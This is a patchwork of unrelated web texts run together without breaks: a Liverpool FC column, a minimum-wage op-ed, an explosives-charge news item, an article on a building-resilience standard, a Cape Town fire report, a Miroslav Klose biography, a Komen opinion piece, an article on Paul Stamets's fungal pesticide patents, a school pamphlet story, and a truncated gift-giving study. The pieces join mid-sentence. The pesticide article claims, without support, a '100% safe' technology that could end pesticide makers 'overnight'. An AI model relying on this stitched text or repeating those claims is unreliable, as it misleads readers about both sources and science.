Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Ian Wright has suggested that Daniel Sturridge must be considering his future after being left on the bench again at Southampton. He is entitled to his comments and Wrighty is a cracking fella but there is no way Liverpool can devalue their squad until the end of the season in my eyes. You need backup if you’re going to have a serious go at the top four and possibly the league. You have to have top players in your squad who can change games and he comes into that category. The situation can easily change - a slight injury to a forward and all of a sudden Daniel is in the team and if he scores a few goals he can take on the mantle. That’s the way football is. But you have to have cover so there is no way I think that Jurgen Klopp would let him go, personally - even if he wanted to go. You can understand if Daniel is frustrated and he wants to play. But it doesn’t work like that. The club comes first and you have to be professional. Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now He is probably gutted that he’s not playing but when you have a winning team you have to be patient and wait for your opportunity. That’s how football is - Sturridge can’t start putting the cat among the pigeons and his comments in the papers have been right. He’s a team player and is doing all he can. But if you have three players in front of you who are all scoring goals and playing really well then you can’t get a place - it’s as simple as that. A good point gained - but it was still two dropped It was a frustrating performance at Southampton on Saturday. I thought we played well and did more than enough win the game. But unfortunately if you’re trying to compete with Manchester City and Chelsea you have to be clinical. We had a few big chances and we didn’t take them. I thought Daniel Sturridge should have come on earlier - we needed a goal and it felt like only a mistake or a bit of genius was going to make it happen. He can provide that and 12 minutes wasn’t enough for him to have an impact. I was looking at the three midfielders and thinking we needed to get an attacking force on if we want to win because they weren’t hurting us in any way. Sturridge did well when he came on and I think he could have made the difference if he came on with 20 to 30 minutes to go. More than anything else, what makes the result more disappointing is that Chelsea went to Southampton three weeks ago and won 2-0 and we didn’t. Saints are a decent side and to go there and get a point is not bad - St Mary’s is a tough place to go as we’ve found out in the past and at the end of the season we may look back and think it’s a really good point. But I think it’s two points dropped if I’m honest. Welcome Mat, happy Dej Joel Matip has been excellent since he came to Liverpool and he was very good again on Saturday. He just calms things down and is having a big influence. On the ball he is brilliant and in the air he is excellent. He and Lovren have got a good partnership going. Dejan got a hostile reception on Saturday but he ignored it. He played really well and that’s what you want to see. He has nothing to prove. Teams do what Southampton tried all the time - they used a defensive set up and tried to hit us on the break and take all three points. But we got a clean sheet and I thought we defended really well. Beware the Black Cats At the end of the season we will know if Liverpool have solved their problem of dropping points against the teams at the lower end of the table. I certainly hope they have but Sunderland travel to Anfield on the weekend on the back of two wins on the bounce. They will be revitalised and have a bit more belief so it won’t be as easy as perhaps it was a month or two ago. But we have just got to do what we’re good at. Lallana will probably be missing again I think Daniel Sturridge could be the solution - we are at home and I think he will get the nod.Robby Soave writes for the libertarian magazine Reason. Follow him on Twitter @robbysoave. The opinions expressed in this commentary are solely those of the author. (CNN) What happened late last week to Talia Jane -- who became suddenly Internet famous after being fired from her job at Yelp -- fits an all-too-easy narrative: underpaid 20-something writes desperate complaint about low wages and greedy corporate employer suppresses dissent by firing her. But millennials working for starvation pay should learn something from Jane's fate: Things could be worse, and will be, when minimum-wage laws price them out of their jobs. For many, Jane -- who wrote an open letter to her CEO about her situation -- is a sympathetic figure. She claimed she was making just $8.15 an hour after taxes working a boring job in customer relations for Yelp/Eat24. That's not a lot of money -- especially in San Francisco, and especially for an unfulfilled college graduate with an English degree and journalism aspirations. Jane claimed her situation was so hopeless that she often went to sleep hungry, and many of her co-workers found themselves in similar situations. (Hours after publishing the letter, Jane was fired. Yelp denies her public statements had anything to do with it). JUST WATCHED Donald Trump: Leave minimum wage where it is Replay More Videos... MUST WATCH Donald Trump: Leave minimum wage where it is 00:44 Critics pointed out that Jane did herself no favors by whining, and was in far-from-desperate straits. "The issue is that this girl doesn't think working a second job or getting roommates should be something she has to do in order to get ahead after three months of an entry level job in the most expensive city in the country," wrote Stefanie Williams, a fellow millennial who started out waiting tables and worked her way up to the New York City lifestyle and job she wanted. For others, Jane's circumstances present a compelling argument for the government to raise the minimum wage. Indeed, union activists would like the state of California to raise its minimum wage from $10 to $15. Numerous cities are gradually doing so -- San Francisco will have a $15-per-hour minimum by 2018. Younger workers might cheer this news. They shouldn't. That's because a company like Yelp wouldn't pay an employee like Jane any more money, even if forced to do so. Instead, it would never have hired her in the first place. It may sound harsh, but the reality is that a person's labor is only worth so much. Markets are far from perfect, but competition (not always, but usually) prevents companies from getting away with drastically undervaluing their employees -- if Yelp did that, a rival could poach all its workers by offering them slightly more money. On the other hand, if Yelp had a policy of paying workers exactly what they needed to get by, rather than exactly what their labor was worth, the company would go out of business. That's why high-minimum-wage laws are actually bad for the very people who think they need them most: millennials. Companies that are forced to pay workers a minimum of $15 an hour won't hire from the young, inexperienced, fresh-out-of-college crowd. They can't spend that much money on an unproven, untested investment. JUST WATCHED Strategist: Millennial women face different issues Replay More Videos... MUST WATCH Strategist: Millennial women face different issues 04:29 Millennials may not realize it, but working for low pay is a competitive advantage (and a temporary one). Older workers have more obligations -- families to provide for, house payments to make, kids' tuition costs to pay -- and can't afford to work for less. Recent graduates can't beat them on raw talent, but they can beat them on price. For hardworking young people who just need to get a foot in the door and gain some experience, the minimum wage is, as Forbes editor John Tamny put it, "a cruel barrier." The science bears this out. Studies often find that higher minimum wages correspond with decreased youth employment In fact, if the government's explicit goal were to make it harder for young people to compete for jobs, they could scarcely design a more perfect policy. Writing on behalf of aging workers everywhere, the Foundation for Economic Education's Isaac Morehouse satirically observed: "The obvious solution is to make it illegal to work for low wages. Working for free is absolutely out of the question. If young and poor people could simply offer to work for little or no pay, they'd soon be gaining valuable skills and competing with us for jobs!" The recently fired Jane may need more money, but first she needs to find a new job, period. Raising the minimum wage would only make that harder for her.Two men are facing felony counts of manufacturing explosives after man lost his hands in a blast on Tuesday. 26-year-old Alphonso Mobley Jr. and Roberto Innis Jr., 21, were charged with manufacturing of an dangerous ordnance (explosive device.) This comes after Mobley Jr.'s hands were blown off Wednesday in an explosion at a home on South Hampton Road. Innis Jr. was inside the home at the time of the blast and was able to call 911. Investigators initially believed the explosion was related to a methamphetamine lab. However medics noticed things that “didn’t look right” and Hazmat was called to the home. Crews located more chemicals believed to have been used to create homemade explosives. Several homes in the area were evacuated later in the day as Hazmat crews moved to destroy the chemicals in the home. However, the destruction of the chemicals triggered a second explosion and set the home partially on fire. On Wednesday, an explosive sniffing dog was back on the scene where firefighters carefully searched a garage behind the home where investigators say they believe the two men were attempting to make homemade explosives. Firefighters also spent about two hours searching a house across the street. Investigators carried a tote out of the house, but didn’t elaborate on what they found. Firefighters armed with a search warrant are now searching the suspect’s home for more evidence and members of the The FBI Joint Terrorism Task Force has arrived on scene, but investigators have not said whether the discovery of the chemicals may be terror-related. Meantime, fire investigators are probing Mobley Jr. as a possible “sovereign citizen,” meaning he has denounced the U.S. government.Think of it as LEED for resilience — but with the added bonus of lowering your insurance rates. That's the vision behind architecture and design firm Perkins+Will's new “RELi” resilience standard, an endeavor aimed at encouraging city planners, project developers and businesses to build and operate facilities that can better withstand shocks such as super storms, sea-level rise, drought, heat waves or even longer-simmering social unrest. Rooted in a set of 194 requisites and credits, similar in structure to the U.S. Green Building Council's LEED reference guides, the resilience standard likely will operate on a 1,000-point scale and offer three or four levels of certification. The credit catalog offers participants points for everything from studying short-term hazard preparedness to installing back-up power systems or growing food on site. “It turns out there’s not really any good protocol for underwriters to value the green and resilient attributes of a project,” Doug Pierce, a senior architect with Perkins+Will and creator of the new standard, told GreenBiz. “Its even bigger task is to open up a conversation about ecologically based design.” By demonstrating resource efficiency and safeguards in place for an emergency, the idea is that insurers, loan officers and credit raters will reward those who meet the standard with greater confidence and lower rates. Reaching for resilience Every once in a while — and more often than usual, of late — one big, seminal disaster, such as Hurricane Katrina, provides a stark reminder of what happens when humdrum infrastructure fails. In the case of New Orleans, underfunded pump and levee systems compounded the fallout from an already devastating hurricane. In that instance and others like it, the conversation after the fact tends to focus on criticizing the engineers, government officials and disaster relief agencies who failed to expect it all to crumble under pressure. That's understandable, but more ingrained forces are also at work: a lack of incentive to be proactive rather than reactive; laws that actually inhibit smarter rebuilding; and historic dependence on “gray” infrastructure. There's also one big common thread: A sentiment somewhere between dread and helplessness when it comes to who actually will pay for more resilient infrastructure, from office buildings to roads, hospitals, schools and bridges. “We are pushing the bill down the road,” Robert Traver, director of the Villanova Center for the Advancement of Sustainability in Engineering, recently told me. While city planners and businesses in vulnerable areas hope they aren't called on their bluff when it comes to the various shocks that could put dated infrastructure at risk, the underlying problem continues to get worse. The American Society of Civil Engineers gives the U.S. a cumulative D-plus on infrastructure. The bill to shore up roads, bridges, dams and other resources approaching the end of their expected lifetime by 2020 stands at $1.7 trillion. As high as the barriers to entry may be for large-scale infrastructure projects, analysts are also expecting an uptick in deal flow. “Nobody expects a flood of deals to suddenly materialize,” Pensions & Investments magazine recently reported, “although the growing number of states entertaining legislation to allow private investment in infrastructure is bolstering optimism, as is President Barack Obama's recently announced clean energy agenda.” Recognizing that cash-strapped cities — and an industry of risk adjusters, loan officers and insurance companies — increasingly seek creative ways to finance more adaptable infrastructure, a number of companies and organizations are working to make the economics of resilience more favorable. Governmental agencies are reevaluating requirements (PDF) for disaster relief funds. Existing financing tools, such as the Property Assessed Clean Energy (PACE) program, are being applied to new resilience efforts. The Rockefeller Foundation-aligned network of 100 Resilient Cities and other peer-to-peer efforts are focused on exporting what works in one market to other places with similar challenges. A report card for resilience With RELi, Perkins+Will is aiming to connect the dots between finance and resilience. The standard, formally called the “RELi Green + Resilient Property Underwriting Standard,” was created with global trends in mind: rapid population growth; shifting economic powers; rapid urbanization; climate change; and rapid technological innovation. The result is a framework that is broad in scope, like the emerging discipline of resilience itself, incorporating environmental risks such as climate change and resource scarcity alongside issues such as food security, grid reliability and social cohesion. “People are still trying to understand what it is,” Pierce said. “It’s moving faster on the coast. In the Midwest there’s still a fair amount of learning.” Here's a snapshot of the interdisciplinary energy, food and water priorities included in the standard: To bring these abstract issues to life, the firm is in the process of launching several pilots. The District of Columbia (already a Perkins+Will client) is evaluating the standard as part of a climate mitigation plan currently in the works. Hospitals in the Southern U.S. also have expressed interest. Perkins+Will is in talks with ratings agency Standard & Poor's about the potential of using the standard as a reference baseline to prevent downgraded credit ratings, since the agency has vowed to start factoring climate preparedness into its business. Assuming the program gets up and running, Pierce is also optimistic about the potential to scale sustainability as part of the process — particularly as the field of green infrastructure continues to gain traction. “Even though resiliency tends to focus on climate adaptation,” he said, “the first step toward resilience is a green building. You don’t need as many resources in an emergency.” Interested in resilient infrastructure? Learn more about VERGE City Summit 2015, happening Oct. 26 in San Jose, California.Four people died in the blaze and thousands of people have been displaced after the fire broke out on Saturday. CAPE TOWN - The City of Cape Town has pledged R30 million to help rebuild a section of Imizamo Yethu that was devastated by a fire. Provincial officials and national government representative visited the area on Tuesday following the fatal fire. Four people died in the blaze and thousands of people have been displaced after the fire broke out on Saturday. Provincial Human Settlements MEC Bonginkosi Madikizela says: “The intention is to profile the people to understand who will qualify for what.” Madikizela on Tuesday appealed to residents not to rebuild their homes just yet. “The leadership must assist us to engage with people as it’s not easy to keep people off site. The people are eager to go back.” WATCH: After the fire... Hout bay residents begin to rebuild (Edited by Shimoney Regter)Miroslav Josef Klose ( German: [ˈmiːʁoslaf ˈkloːzə] (), Polish: Mirosław Józef Klose; born 9 June 1978) is a German former professional footballer who last played as a striker for Italian club Lazio and the Germany national team. Klose is the coach of the U17 youth team at Bayern Munich. Klose is best known for his performances with the Germany national team. He was part of the German squad that won the 2014 FIFA World Cup, having previously finished second (2002) and third (2006, 2010) in the competition, and as runner-up in UEFA Euro 2008 and joint-third place in UEFA Euro 2012. Klose is the top goalscorer in the history of the FIFA World Cup with 16 goals, having scored five goals in his debut World Cup in 2002 and having won the Golden Boot at the 2006 World Cup in Germany by again scoring five times.[5] He also scored four times in the 2010 World Cup and twice at the 2014 World Cup, the latter tournament where he overtook Ronaldo's then-record of 15 goals to top the all-time list.[6] Klose is also the top scorer of all time for Germany, which never lost a game in which Klose scored,[7] and one of the very few players ever to have won gold, silver and bronze medals in the World Cup (bronze in 2006 and 2010, silver in 2002 and gold in 2014). He retired from Germany's national team on 11 August 2014 shortly after Germany's victory at the 2014 World Cup.[8] At club level, Klose has been a less prolific but usually reliable goalscorer. Starting his career at FC 08 Homburg, he played in the Bundesliga for Kaiserslautern, Werder Bremen and Bayern Munich, and in Serie A for Lazio. He won two league titles with Bayern, along with cup competitions at Bayern, Werder Bremen and Lazio. Background and personal life [ edit ] Klose was born in the Silesian city of Opole, Poland. Both of his parents were professional athletes.[9] His father, Josef Klose, was a professional footballer who played for Odra Opole, before leaving communist Poland in 1978 to play for French club Auxerre.[10] His mother, Barbara Jeż, was a member of the Poland women's national handball team. As an ethnic German and German national, Josef Klose was an Aussiedler whose family had remained behind when Silesia was awarded to Poland after World War II and decided to bring his family to Germany. In 1986, then eight-year-old Miroslav joined his father in Kusel, Rhineland-Palatinate, knowing only two words of German.[11] Klose developed his skill and passion in football from the village club, SG Blaubach-Diedelkopf, which at the time was in the German seventh division. He was also trained as an apprentice to become a carpenter.[12][13] Klose and his wife Sylwia have twin sons, Luan and Noah.[14][15] In a 2007 interview with Der Spiegel, he stated he and his wife speak Polish to their children at home, while the children learn German in school.[16] Klose has not held Polish citizenship since age 18, as he then opted for a German passport.[17] Klose is a Roman Catholic.[18][19] Club career [ edit ] Kaiserslautern [ edit ] In 1998, Klose's professional career began at age 20 with a switch to the reserves at former Bundesliga outfit FC Homburg. Twelve months later, he moved to 1. FC Kaiserslautern.[20] He played for the second team and made his first appearance in the Bundesliga in April 2000. He scored 16 goals in 2001–02 season[21] and was shy of only two goals to become the top scorer.[22] Werder Bremen [ edit ] Miroslav Klose at Werder Bremen In March 2004, Klose signed a four-year contract with Werder Bremen for a €5 million ($6.2 million) transfer fee.[23][24] He made his league debut on 6 August 2004 as a substitute for Paraguayan striker Nelson Valdez in a 1–0 home win against Schalke 04.[25][26] On 29 August 2004, Klose scored his first goal, an equaliser, but the Bremen team lost 2–1 at home against VfL Wolfsburg.[27][28] On 7 June 2007, Klose confirmed that he would leave Werder Bremen for Bayern Munich either before the 2007–08 season or upon the expiration of his contract with the Bremen team at the end of the 2007–08 season.[29] Bayern Munich [ edit ] On 26 June 2007, Bayern Munich club president Karl-Heinz Rummenigge confirmed his team had reached an agreement with Werder Bremen regarding the transfer of Klose. Klose completed his medical with Bayern on 28 June 2007 before signing a four-year contract.[22][30] Klose won the first major honours of his club career at the end of his first season with Bayern, as they won the Bundesliga and the DFB-Pokal in 2007–08. In 2010, he won the 2010 DFL-Supercup, scoring a goal in the 81st minute.[31] On 7 June 2011, with his contract about to expire, Klose did not reach an agreement with Bayern, thus leaving the club at the end of the 2010–11 season.[32] He had scored one Bundesliga goal in 20 matches in his final season.[33] Lazio [ edit ] 2011–12 season [ edit ] Klose signed a three-year contract with Italian Serie A club Lazio on 9 June 2011.[34] He scored his first goal for Lazio in the 2012–13 UEFA Europa League play-offs and also assisted four other goals. Lazio won that match 6–0 and won the play-off 9–1 on aggregate against Rabotnički.[35] On 9 September 2011, he made his Serie A debut in a 2–2 draw against Milan and scored a goal in the 12th minute, which was the first Serie A goal of the season. Despite having been at the club for only a few months, Lazio coach Edoardo Reja underlined his importance to the team.[36] On 16 October 2011, Klose scored in the 93rd minute to win the Rome derby against Roma for Lazio, 2–1. However, the occasion was tainted by a small section of radical Lazio fans holding a sign adapted from a motto used by the Nazis. The sign read "Klose Mit Uns", which means "Klose with us". It was intended by those fans as praise for Klose, however the Nazis used the motto "God with us" and the Lazio fans' sign featured the S's in the same font as the logo of Adolf Hitler's Schutzstaffel (SS). Klose had explicitly condemned the sign, saying, "[P]olitics should stay out of the stadium."[37][38][39] On 10 December 2011, Klose scored twice and assisted one for Lazio in an away game against Lecce, including an 87-minute goal that gave Lazio a 3–2 victory.[40] 2012–13 season [ edit ] On 2 September 2012, Klose scored his first Serie A goal of the season, scoring a brace in Lazio's 3–0 home win against Palermo.[41] On 26 September, Klose accidentally scored a goal with his hand against Napoli for Lazio, unseen by the referee. However, Klose showed great sportsmanship by informing the referee and asking to discount the goal. The referee then reversed the decision and the goal was discounted.[42] On 2 December, Klose scored his ninth goal of the season, securing a 2–1 victory over Parma, lifting Lazio into fourth place in Serie A.[43] Two weeks later, on 15 December, he scored a late goal to send his side to a 1–0 victory over second-placed Internazionale, reducing the gap between the two sides in the league table to one point.[44] On 5 May 2013, he scored five goals against Bologna before being substituted for Louis Saha in the 68th minute.[45] It was the first time since the 1984–85 season that a player scored five goals in the same game in Serie A.[46] On 26 May, Klose won the Coppa Italia, beating Lazio's city rivals Roma 1–0, the sixth in Lazio's history and the first time in the history of the tournament to see a Lazio–Roma derby in the final.[47] 2013–14 season [ edit ] Klose started the season by playing in the 2013 Supercoppa Italiana against Juventus, which ended in a 4–0 loss at Stadio Olimpico.[48] Klose started the league season by playing 83 minutes in team's opening league match of the season, a 2–1 home win against Udinese[49] and scored his first goal of the season on 31 August in a 4–1 away defeat to Juventus.[50] He scored his second league goal of the season on 28 October during the 2–0 home victory against Cagliari.[51] 2014–15 season [ edit ] Klose played his first match of the Serie A season against Milan, in which Lazio was defeated 3–1.[52] He scored three goals and set up two other goals in the first half of the season in 16 appearances in Serie A. He also scored one goal and set up another for Lazio against Bassano in the only 2014–15 Coppa Italia match he played before the winter break.[53] They went on to win the match 7–0.[54] In the second half of the season, he scored 10 goals and set up 5 in 18 appearances, ending the season with 13 goals and 7 assists in Serie A, along with 3 goals and 2 assists in the Coppa Italia in 6 appearances. 2015–16 season [ edit ] On 15 May, Klose scored his final goal for Lazio from a penalty on his final appearance for the club, on the final matchday of the 2015–16 Serie A season, in a 4–2 home loss to Fiorentina.[55] With his 64th goal for Lazio, he equalled Goran Pandev as the club's highest non-Italian goalscorer of all-time, and ended his Lazio career as the club's seventh-highest all-time goalscorer.[56] International career [ edit ] Klose during the 2006 FIFA World Cup Klose's consistency as a goal-scorer in his first Bundesliga season at 1. FC Kaiserslautern earned him attention. In January 2001, then-head coach of the Poland national team, Jerzy Engel, travelled to Germany to persuade Klose to choose to represent Poland. This request was declined by Klose, who said, "I have a German passport, and if things are still running this way, I have a chance to play for Rudi Völler." Klose's hopes were justified, as he would soon score for Germany.[57] In an interview given to Przegląd Sportowy on 9 June 2008, Klose stated the decision to play for Germany instead of Poland was not an easy one, and if Polish officials had been faster, he would be playing for Poland. Further, he added he does not regret the choice, as with Germany he has won medals in the World Cup tournaments.[58] 2002 World Cup [ edit ] Klose's international debut came on 24 March 2001 in a 2002 FIFA World Cup qualifier against Albania;[59] in the 73rd minute, Germany head coach Rudi Völler put him in as a substitute. Two minutes from time, he headed home the winner in a 2–1 victory for Germany, and celebrated with a front-flip.[60] Four days later, in his second match, Klose helped Germany temporarily lead their qualification group, as he came on in the 67th minute and scored in the 3–2 win against Greece in the 82nd minute, making it two crucial goals in only 33 minutes on the pitch. Two hat-tricks against Israel and Austria in friendlies prior to the upcoming World Cup were enough to establish him in Germany's starting line-up for the tournament.[61] Klose came to international prominence at the 2002 World Cup in Korea–Japan with five headed goals for Germany, finishing as the joint second-highest goalscorer alongside Rivaldo. Klose also became the first player ever to score five headers in a World Cup, and he celebrated two of his goals with his trademark front-flip, earning him the nickname "Salto-Klose" (German: Salto = somersault).[62] His goal tally included a hat-trick in Germany's 8–0 hammering of Saudi Arabia, as well as one goal each against the Republic of Ireland and Cameroon.[63] Euro 2004 [ edit ] Klose participated in UEFA Euro 2004 and came on as a substitute in two matches, against Latvia and the Czech Republic, but was not completely fit, since he had just recovered from a knee injury. He was not able to score and Germany was eliminated after the first round.[64] 2006 World Cup [ edit ] Klose playing in the 2006 World Cup In the opening match of the 2006 World Cup in Germany, Klose scored two close-range goals in a 4–2 win over Costa Rica,[65] and added a similar brace in the final group game to defeat Ecuador 3–0 and make Germany the group winners.[66] Klose scored an 80th-minute headed equaliser against Argentina in the quarter-finals, and Germany won the resulting penalty shootout.[67] With five goals, he finished as the top scorer of the tournament.[68] Euro 2008 [ edit ] At Euro 2008, Klose started the opening group stage match against Poland and assisted Lukas Podolski's two goals in a 2–0 victory. He played the remaining two group games against Croatia and Austria with no goals of his own. He finally broke his duck during the knockout stages, scoring for Germany in the quarter-final and the semi-final against Portugal and Turkey respectively. In both matches, he scored Germany's second goal, and both games were won 3–2. However, Klose was unable to score during the final against Spain, which Germany lost 1–0.[69][70] 2010 World Cup [ edit ] Klose was selected in Germany's final 23-man squad, and for his third successive World Cup campaign. On 13 June, Klose scored the second goal against Australia in their opening group match, a 4–0 victory. This goal put him level in World Cup goals with his former coach with Germany, Jürgen Klinsmann.[71] However, Klose was sent off in the 37th minute of Germany's match against Serbia for amassing his second yellow-card foul of the match, and did not play the match against Ghana because of his expulsion. Klose opened the scoring in the round of 16 match against England on 27 June 2010 with his 12th World Cup goal, equalling Pelé for fourth on the all-time list, and also notching up his 50th international goal in his 99th international game, as Germany won the match 4–1.[72] Klose made his 100th international appearance in the quarter-final match against Argentina, becoming only the sixth German player to reach the landmark. He then scored the second and fourth goals against Argentina (Germany winning 4–0), pulling him level with Gerd Müller's all-time German World Cup goalscoring record.[73] Euro 2012 [ edit ] During the Euro 2012 qualifiers, Klose scored at least one goal in every single game he played, striking against all of Germany's opponents: Belgium, Azerbaijan, Turkey, Kazakhstan and Austria. Gaining only six caps during the qualification campaign, he scored nine goals and provided two assists, making him Europe's second-most-successful striker for this period behind Klaas-Jan Huntelaar, who scored 12 times in 8 matches.[74] At the end of the qualifying campaign, Klose had achieved 21 assists and 63 goals while playing for Germany, trailing Gerd Müller's German goalscoring record by five (albeit playing almost twice as many internationals compared to Müller).[75] At the tournament, Klose came off the bench in all three of Germany's group games, but failed to score a goal. In the quarter-final game against Greece, Klose started the match and scored Germany's third goal in a 4–2 win.[76] Klose again had to come off the bench in the semi-final against Italy, but failed to add to his goal tally as Germany were eliminated with a 2–1 loss. 2014 World Cup and retirement [ edit ] Prior to the tournament, Klose said the 2014 World Cup would be his last one for Germany, stating he wanted one more shot at trying to win the World Cup and having done that, he was content.[77][78][79] On 6 June 2014, in Germany's final friendly before the World Cup against Armenia, Klose scored his 69th international goal, thus breaking Gerd Müller's record of 68 goals and becoming Germany's record goalscorer.[80] Klose scored his record-equalling 15th World Cup goal to help Germany to a 2–2 draw against Ghana on 21 June 2014, after entering the game as a 69th minute substitute for Mario Götze (who had scored Germany's first goal) with his team trailing 2–1.[81] This tied him with the Brazilian player Ronaldo.[82] With this goal, Klose became the third player in history to score in four different World Cups. On 8 July, Klose scored a record 16th World Cup goal in the 23rd minute against Brazil in the semi-finals, his second goal of the 2014 World Cup. That goal gave Germany a 2–0 lead, en route to a 7–1 win over Brazil, and Klose surpassed Ronaldo's previous record of 15 World Cup goals.[83] Klose set another record by becoming the first player to appear in four consecutive World Cup semi-finals.[84] Klose started in the World Cup final against Argentina, playing until the 88th minute when he was substituted for Mario Götze. Götze would score the 113th-minute goal which held up as the winning goal in Germany's 1–0 victory over Argentina, earning Germany's fourth World Cup title overall and first as a reunited country. Klose announced his retirement from international football one month after the World Cup final.[85] Managerial career [ edit ] On 1 November 2016, Klose was hired to become part of the coaching staff of the German national team. Klose said, "I celebrated my greatest successes with the national team and it was a wonderful and unforgettable time. That's why I'm delighted to return to the DFB. In the past few months, I have thought a lot about continuing my playing career, but also about pursuing other avenues, namely becoming a coach."[86] On 11 May 2018, Bayern Munich named Klose as their coach for the U-17 team. Klose
it, I suppose. Getting noncorporate, government funding into breast cancer research is a noble goal, and if they cut that before other, possibly less important initiatives, it doesn’t speak well of them. But it’s also entirely possible that they’re just that far down the creek and don’t have much money for anything. Still, it’s not smart to scold people who care about women and use guilt trips for fund-raising. The reason that people have pulled support from Komen is not because they don’t care about women, but because they do care. Most of the people writing checks are more interested in big picture questions about women’s health instead of just the health of the Komen foundation. They realize that if this war against women isn’t turned around now, then it’s not just going to be abortion and contraception that are threatened, but that it could expand into whole arenas of women’s health care, including breast cancer treatment and prevention. After all, the Republicans are expanding the war on women beyond below-the-belt care and are now pushing to cut support for victims of domestic violence, which is a major women’s health concern that has nothing to do with slutty co-eds that haunt the right wing imagination. Supporters of women have every right to believe that the conservative movement can’t be trusted when it comes to women’s health care, even when it comes to something seemingly apolitical like breast cancer. After all, until a year ago, most Americans thought contraception was apolitical, too.Note, March 5: And see this. When my boys were young, I once asked each of them what would they ask for if they could have anything in the world. Sean, eight years old, a very pragmatic soul with five planets in Taurus, responded, “a million dollars.” Aquarian Colin, on the other hand, age six, and now inventor of the Garden Tower Project, piped up, “A magic wand!” Has Stamets patented the magic wand? February 27, 2015 by Jefferey Jaxen – Feb 27, 2015 zengardner.com Humanity is facing a problem. Our immediate environment is riddled with pesticides. They are making us unhealthy faster than we can study the effects. In addition, these pesticides play large roles in the massive bee deaths and decline of soil health. The companies that profit from making these pesticides have made it clear they won’t stop. Our petitions to the EPA and FDA are mostly ignored due to revolving door leadership between pesticide makers and government regulators. Is there an answer? Yes there is! SMART Pesticides Paul Stamets, the world’s leading mycologist, filed a patent in 2001 that was purposely given little attention. In the words of pesticide industry executives, this patent represents “The most disruptive technology that we have ever witnessed.” The biopesticides described in the patent reveals a near permanent, safe solution for over 200,000 species of insects and it all comes from a mushroom. After what is called ‘sporulation’ of a select entomopathogenic fungi (fungi that kill insects) the area becomes no longer suitable for any insect(s) the fungi are coded for. In addition, extracts of the entomopathogenic fungi can also steer insects in different directions. This literally is a paradigm shift away from the entire idea of pesticides. Instead of having an aim to kill all problematic insect, a farmer could simply disperse a solution of pre-sporulation fungi amongst the crops. The insects would then simply live their lives around the crops paying no attention to them. This simple idea flies in the face of the current, poorly thought-out, practice of spraying ever increasing amounts of pesticides on resistant bugs. Going further, this biopesticide would also eliminate the need for round-up ready GMO seeds and BT seeds that grow the pesticides in the crop needlessly endangering us, the consumer. Perhaps the most enticing element of this biopesticide fungi is that it’s essentially free. According to the patent, it can be “cultivated on agricultural waste.” We are looking at a 100% safe, natural technology that literally can end all GMO and pesticide manufacturers overnight with a new class of SMART Pesticides. “The matrix of pre-sporulating fungi can optionally be dried, freeze-dried, cooled and/or pelletized and packaged and reactivated for use as an effective insect attractant and/or biopesticide.” –Paul Stamets Patent for Mycoattractants and mycopesticides Optimism Empowers Even if we stop pesticide spraying now, scores of new research is confirming that our environment, food, soil, and bodies already carry traces of the chemicals. If the chemicals are so bad for us, there would be signs by now right? These are two common rebuttals from pesticide companies and individuals that don’t care to do their research. It’s okay, there just happens to be a patent to help with those issues as well. The US patent filed in 2003, once again from Paul Stamets, describes the utilization of a fungal delivery system for the purpose of “ecological rehabilitation and restoration, preservation and improvement of habitats, bioremediation of toxic wastes and polluted sites, filtration of agricultural, mine and urban runoff, improvement of agricultural yields and control of biological organisms.” In addition, there are many out there currently providing solutions to remove/detox any potential pesticide chemicals from the human body. Strategies like community gardens, urban forests, and the resurgence of permaculture are springing up rapidly to pave the way towards a steadily growing number of pesticide free dinner tables and families. Time to Make History On a bigger scale, GMO food and pesticides are merely symptoms of an opposite consciousness that is rapidly changing. Put another way, these symptoms are the unwanted gifts from out of control corporations that, by definition, have no empathy towards the needs, health, or life of The People. As Neil Young mentioned in his Starbucks Boycott, pesticide companies like Monsanto are, for the most part, not public-facing companies. As we are witnessing now with GMO brands, a boycott can severely damage their bottom line (lifeblood) but will not eliminate their business model. Due to the fact that they spend untold millions lobbying (purchasing) our politicians and regularly operate revolving doors between public and private positions means that only a paradigm shift will eliminate the entire industry. At that moment, which is approaching, pesticide manufacturers can decide if they would like to cease being the problem and assist in the solution. The good news is that whatever decision they choose won’t matter. A shift in consciousness around pesticide and GMO use eliminates their influence and knocks them off their fictitious monetary pedestals they believe to be sitting on. References: Paul Stamet’s Patent: Pesticide & GMO Solution Paul Stamet’s Patent: Agricultural Waste Solution 6 Ways Mushrooms Can Save The World TED Talk Neil Young Starbucks Boycott Statement Organic Food Demand Exploding0 Pamphlets on atheism placed at 11 Orange County schools ORANGE COUNTY, Fla. - After 15 weeks of fighting with the Orange County school board, several groups will now be allowed to supply 11 high schools with atheist materials for teens. The groups only started urging for this after Bibles were allowed to be available to students in January. The literature was placed at Boone High School Thursday. David Williamson of Central Florida Freethought Community said he has been working since January to get the information out to high school students. "We want to make sure that we have an opportunity to distribute our materials and everyone else does as well, so this is not about the Bible, this is about equality," said Williamson. The organizations backing Williamson said they want the teens to be able to choose what they believe or don't believe. "Teens are under a lot of pressure to be conforming with whatever they think is the norm," said self-proclaimed humanist Herb Pleiman. No one from any of the organizations will be allowed to be at the table where the pamphlets will be. But not only has there been resistance from the Christian community, some school board members and parents have been opposed to the pamphlets as well. "Being able to have atheist literature, I think, they would be confused as far as being able to hear God's word," said self-described Christian Jacob Crosby. The pamphlet has a page torn off because the school district did ban some portions of the literature having to do with donations and parts that dissected certain Bible quotes. The group said it plans to fight that ban in court if necessary. What is your opinion on the issue? Join the discussion on Facebook: https://www.facebook.com/wftvResearch shows that when it comes to gift giving, most people are simply not paying enough attention to what others want. People appreciate receiving gifts from their wish list more than unsolicited items. \| Reuters/Alessandro Bianchi Your husband says he wants a woodworking router for his birthday but you really think he’d be more impressed with a pair of 50-yard line football tickets. Guess again. When it comes to gift giving, most people are simply not paying enough attention to what others want. They miss the boat by ignoring direct requests, wrongly assuming that going a different route will be seen as more thoughtful than getting something she specifically said she wants. “We can strengthen our relationships by giving thoughtful gifts to those we care about, but we often lack the insight to do it well,” says Frank Flynn, professor at Stanford GSB. In a new study that builds on his previous work on gift-giving Flynn continues to identify puzzling problems with this well-meaning practice. Five experiments reported in an article published in the Journal of Experimental Social Psychology explored the role of explicitness in gift giving. Together, the studies examined whether gift recipients were more appreciative when presented with gifts they requested than those they didn’t request, and whether gift givers noticed this important difference. In the first study, survey participants reported on their actual experiences receiving and giving wedding gifts from a registry versus gifts that the wedding guests had identified on their own. In a second study participants imagined a scenario in which they either gave a birthday present to their spouse who gave them 